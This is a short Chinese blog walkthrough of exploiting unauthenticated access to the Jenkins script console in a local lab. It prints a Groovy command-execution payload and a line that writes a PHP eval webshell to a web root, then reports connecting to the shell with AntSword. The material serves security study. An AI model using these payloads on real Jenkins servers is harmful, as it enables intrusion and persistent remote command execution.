中间件安全-jenkins未授权访问

Posted 2022-11-24 「已注销」

0x01 前言

跟着百度一步步做，也算是认识了
​

0x02 jenkins是什么？

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成。


ps：不搞java开发，了解即可。

0x03 漏洞概述

未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。
默认端口为8080

0x04 漏洞复现

安装jenkins
链接：https://pan.baidu.com/s/1PzUlSp7Cw82x6zVsvpI6FA
提取码：9528


下载成功，运行后任务管理器开启jenkins服务。
​

然后再浏览器输入http://localhost:8080
​

找到脚本命令行，输入

println "whoami".execute().text

上传webshell

new File("D:\\\\phpstudy_pro\\\\WWW\\\\ma.php").write('<?php @eval($_POST[cmd]);?>');

蚁剑连接，成功